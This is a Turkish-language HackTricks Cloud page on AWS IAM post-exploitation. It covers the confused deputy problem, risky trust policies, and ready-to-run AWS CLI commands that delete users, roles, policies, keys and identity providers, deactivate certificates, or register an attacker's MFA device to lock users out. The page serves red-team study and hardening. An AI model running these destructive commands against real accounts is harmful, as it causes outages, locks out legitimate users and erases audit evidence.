AWS - IAM Post Exploitation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
IAM
IAM erişimi hakkında daha fazla bilgi için:
AWS - IAM, Identity Center & SSO Enum
Confused Deputy Problem
Eğer hesabınızda bir external account (A)’nın bir role’e erişmesine izin verirseniz, muhtemelen bu external account’a tam olarak kimin erişebildiği konusunda 0 visibility’e sahip olursunuz. Bu bir problemdir; çünkü başka bir external account (B), external account (A)’ya erişebiliyorsa, B de hesabınıza erişebilir.
Bu nedenle, hesabınızda bir external account’ın bir role’e erişmesine izin verirken bir ExternalId belirtmek mümkündür. Bu, external account (A)’nın organizasyonunuzdaki role’u üstlenebilmek için belirtmesi gereken bir “secret” string’tir. external account B bu string’i bilmediği sürece, A’ya erişimi olsa bile B sizin role’unuza erişemeyecektir.
.png)
Ancak, ExternalId “secret“i gerçekten bir secret değildir; IAM assume role policy’yi okuyabilen herhangi bir kişi bunu görebilir. Fakat external account A bunu bildiği sürece ve external account B bunu bilmediği sürece, bu B’nin A’yı suistimal ederek sizin role’unuza erişmesini engeller.
Example:
{
"Version": "2012-10-17",
"Statement": {
"Effect": "Allow",
"Principal": {
"AWS": "Example Corp's AWS Account ID"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "12345"
}
}
}
}
Warning
Bir attacker’ın confused deputy’ı exploit etmesi için, mevcut account’un principals’larının diğer account’lardaki roles’leri impersonate edip edemeyeceğini bir şekilde bulması gerekir.
Beklenmeyen Güvenler
Wildcard’ın principal olarak kullanılması
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Principal": { "AWS": "*" }
}
Bu politika tüm AWS’nin rolü üstlenmesine izin verir.
Servis principal olarak
{
"Action": "lambda:InvokeFunction",
"Effect": "Allow",
"Principal": { "Service": "apigateway.amazonaws.com" },
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
Bu politika herhangi bir hesabın apigateway’ini bu Lambda’yı çağıracak şekilde yapılandırmasına izin verir.
S3 principal olarak
"Condition": {
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
"StringEquals": {
"aws:SourceAccount": "123456789012"
}
}
Eğer bir S3 bucket principal olarak verilmişse — çünkü S3 bucket’ların bir Account ID’si yoktur — eğer siz bucket’ınızı sildiyseniz ve saldırgan onu kendi hesabında oluşturduysa, bunu suistimal edebilirler.
Desteklenmiyor
{
"Effect": "Allow",
"Principal": { "Service": "cloudtrail.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
Confused Deputy problemlerinden kaçınmanın yaygın bir yolu, kaynağın ARN’sini kontrol etmek için AWS:SourceArn içeren bir condition kullanmaktır. Ancak, bazı servisler bunu desteklemeyebilir (bazı kaynaklara göre CloudTrail gibi).
Kimlik Bilgilerinin Silinmesi
With any of the following permissions — iam:DeleteAccessKey, iam:DeleteLoginProfile, iam:DeleteSSHPublicKey, iam:DeleteServiceSpecificCredential, iam:DeleteInstanceProfile, iam:DeleteServerCertificate, iam:DeleteCloudFrontPublicKey, iam:RemoveRoleFromInstanceProfile — bir aktör access keys, login profilleri, SSH anahtarları, service-specific credentials, instance profiles, sertifikalar veya CloudFront public keys’i silebilir ya da rollerin instance profillerinden ayrılmasına neden olabilir. Bu tür işlemler meşru kullanıcıları ve uygulamaları anında engelleyebilir ve bu kimlik bilgilerine bağlı sistemlerde denial-of-service veya erişim kaybına yol açabilir, bu yüzden bu IAM izinleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
# Remove Access Key of a user
aws iam delete-access-key \
--user-name <Username> \
--access-key-id AKIAIOSFODNN7EXAMPLE
## Remove ssh key of a user
aws iam delete-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
Kimlik Silme
iam:DeleteUser, iam:DeleteGroup, iam:DeleteRole veya iam:RemoveUserFromGroup gibi izinlere sahip bir aktör, kullanıcıları, rolleri veya grupları silebilir—veya grup üyeliğini değiştirebilir—kimlikleri ve ilişkili izleri ortadan kaldırır. Bu, bu kimliklere bağımlı kişi ve hizmetlerin erişimini hemen kesebilir; denial-of-service veya erişim kaybına yol açabilir, bu yüzden bu IAM eylemleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
# Delete a user
aws iam delete-user \
--user-name <Username>
# Delete a group
aws iam delete-group \
--group-name <Username>
# Delete a role
aws iam delete-role \
--role-name <Role>
Aşağıdaki izinlerden herhangi biri — iam:DeleteGroupPolicy, iam:DeleteRolePolicy, iam:DeleteUserPolicy, iam:DeletePolicy, iam:DeletePolicyVersion, iam:DeleteRolePermissionsBoundary, iam:DeleteUserPermissionsBoundary, iam:DetachGroupPolicy, iam:DetachRolePolicy, iam:DetachUserPolicy — bir aktörün managed/inline policies’i silebilmesine veya ayırabilmesine, policy versiyonlarını veya permissions boundaries’i kaldırabilmesine ve policy’leri users, groups veya roles ile ilişkisiz hâle getirebilmesine olanak tanır. Bu, yetkilendirmeleri yok eder ve izin modelini değiştirebilir; bu da söz konusu policy’lere bağlı principals için anında erişim kaybına veya denial-of-service’e yol açabilir. Bu nedenle bu IAM işlemleri sıkı şekilde kısıtlanmalı ve izlenmelidir.
# Delete a group policy
aws iam delete-group-policy \
--group-name <GroupName> \
--policy-name <PolicyName>
# Delete a role policy
aws iam delete-role-policy \
--role-name <RoleName> \
--policy-name <PolicyName>
Federasyonlu Kimlik Silme
iam:DeleteOpenIDConnectProvider, iam:DeleteSAMLProvider ve iam:RemoveClientIDFromOpenIDConnectProvider ile bir aktör OIDC/SAML kimlik sağlayıcılarını silebilir veya istemci ID’lerini kaldırabilir. Bu, federasyon tabanlı kimlik doğrulamayı bozarak token doğrulamasını engeller ve IdP veya yapılandırmalar geri yüklenene kadar SSO’ya bağlı kullanıcılar ve hizmetlerin erişimini anında reddeder.
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
# Delete SAML provider
aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
Yetkisiz MFA Etkinleştirme
Bir aktör iam:EnableMFADevice ile bir kullanıcının kimliğine MFA cihazı kaydedebilir ve böylece meşru kullanıcının oturum açmasını engelleyebilir. Yetkisiz bir MFA etkinleştirildiğinde kullanıcı cihaz kaldırılana veya sıfırlanana kadar kilitlenebilir (not: birden fazla MFA cihazı kayıtlıysa oturum açmak için yalnızca biri yeterlidir, bu yüzden bu saldırı erişimi engelleme açısından etkili olmaz).
aws iam enable-mfa-device \
--user-name <Username> \
--serial-number arn:aws:iam::111122223333:mfa/alice \
--authentication-code1 123456 \
--authentication-code2 789012
Sertifika/Anahtar Meta Veri Manipülasyonu
With iam:UpdateSSHPublicKey, iam:UpdateCloudFrontPublicKey, iam:UpdateSigningCertificate, iam:UpdateServerCertificate, bir aktör açık anahtarların ve sertifikaların durumunu veya meta verilerini değiştirebilir. Anahtarları/sertifikaları devre dışı olarak işaretleyerek veya referansları değiştirerek SSH kimlik doğrulamasını bozabilir, X.509/TLS doğrulamalarını geçersiz kılabilir ve bu kimlik bilgilerine bağımlı hizmetleri anında kesintiye uğratarak erişim veya kullanılabilirlik kaybına neden olabilir.
aws iam update-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
--status Inactive
aws iam update-server-certificate \
--server-certificate-name <Certificate_Name> \
--new-path /prod/
iam:Delete*
IAM wildcard iam:Delete* birçok türde IAM kaynağını — kullanıcılar, roller, gruplar, policies, anahtarlar, sertifikalar, MFA cihazları, policy versions vb. — kaldırma yetkisi verir ve bu nedenle çok geniş bir etki alanına sahiptir: iam:Delete* yetkisi verilen bir aktör kimlikleri, kimlik bilgilerini, policies ve ilgili artefaktları kalıcı olarak yok edebilir, denetim/kanıtları kaldırabilir ve servis veya operasyonel kesintilere neden olabilir. Bazı örnekler şunlardır:
# Delete a user
aws iam delete-user --user-name <Username>
# Delete a role
aws iam delete-role --role-name <RoleName>
# Delete a managed policy
aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
iam:EnableMFADevice
iam:EnableMFADevice yetkisi verilen bir aktör, kullanıcı zaten etkinleştirmemişse hesap içindeki bir kimliğe MFA cihazı kaydedebilir. Bu, bir kullanıcının erişimini etkilemek için kullanılabilir: saldırgan bir MFA cihazı kaydettiğinde, meşru kullanıcı saldırganın kaydettiği MFA’yı kontrol etmediği için oturum açması engellenebilir.
Bu erişim engelleme saldırısı yalnızca kullanıcının önceden MFA kaydı yoksa işe yarar; saldırgan o kullanıcı için bir MFA cihazı kaydederse, meşru kullanıcı o yeni MFA gerektiren akışlardan kilitlenir. Kullanıcının zaten bir veya birden fazla MFA cihazı kendi kontrolündeyse, saldırgan kontrollü bir MFA eklemek meşru kullanıcıyı engellemez — kullanıcı sahip olduğu herhangi bir MFA ile kimlik doğrulamaya devam edebilir.
Bir kullanıcı için MFA cihazını etkinleştirmek (kaydetmek) üzere saldırgan şunu çalıştırabilir:
aws iam enable-mfa-device \
--user-name <Username> \
--serial-number arn:aws:iam::111122223333:mfa/alice \
--authentication-code1 123456 \
--authentication-code2 789012
Kaynaklar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

